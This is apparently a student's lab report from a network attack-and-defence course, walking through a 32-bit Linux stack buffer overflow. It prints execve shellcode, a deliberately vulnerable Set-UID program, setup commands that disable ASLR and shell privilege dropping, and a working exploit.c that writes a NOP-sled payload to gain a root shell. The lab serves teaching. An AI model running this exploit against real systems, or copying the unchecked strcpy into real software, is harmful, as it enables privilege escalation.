2017-2018-2 20179202《网络攻防技术》第十周作业
缓冲区溢出
一、初始设置
1.输入命令“linux32”进入32位linux环境，输入“/bin/bash”使用bash（可以补全tab）。
2.使用命令sudo sysctl -w kernel.randomize_va_space=0关闭地址空间随机化功能。
3.为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权（能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限）。这个防护措施在/bin/bash中实现。使用以下指令将另一个shell程序（zsh）代替/bin/bash，从而重现这一防护措施被实现之前的情形。
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
二、Shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次实验的shellcode，就是以上代码的汇编版本：\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
三、漏洞程序
漏洞程序读取一个名为“badfile”的文件，并将文件内容装入“buffer”。原始输入最大长度为517字节，但是在bof（）中的缓冲区只有12字节长。因为strcpy()不检查边界，将发生缓冲区溢出。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
用以下命令编译该程序，并设置SET-UID(
深入理解SetUID)。
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c（GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。-z execstack 用于允许执行栈）
chmod u+s stack（不输入此条命令最后不能获得root shell）
exit
四、攻击程序
exploit.c是为了构造一个包含恶意代码的badfile文件而创建的。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
用四个一组的\x90（0x90代表NOP，会占用地址空间，但是并不会执行任何代码，而是跳过，执行下一行代码）来填充，最后一个\x??\x??\x??\x??代表shellcode的地址，发生溢出后这个位置刚好可以覆盖返回地址。
strcpy(buffer+100,shellcode)说明shellcode保存在 buffer+100 的位置。所以现在要做的就是得到shellcode在内存中的地址。
使用GDB来查看汇编代码，可以看出str初始化语句存在<+6>位置，在下一句地址0x080484e8设置断点，并查看esp所指地址为0xffffd060。
这样就得到了str的起始地址，根据strcpy(buffer+100,shellcode)计算shellcode的地址为 0xffffd060(十六进制)+100(十进制)=0xffffd0c4(十六进制)，将exploit.c中\x??\x??\x??\x?? 修改为 \xc4\xd0\xff\xff 。
gcc -m32 -o exploit exploit.c编译exploit.c。执行，攻击成功，得到root权限。
通过命令sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制，重复用exploit程序攻击stack程序，则会发生段错误。
将/bin/sh重新指向/bin/bash（或/bin/dash），亦会发生段错误。
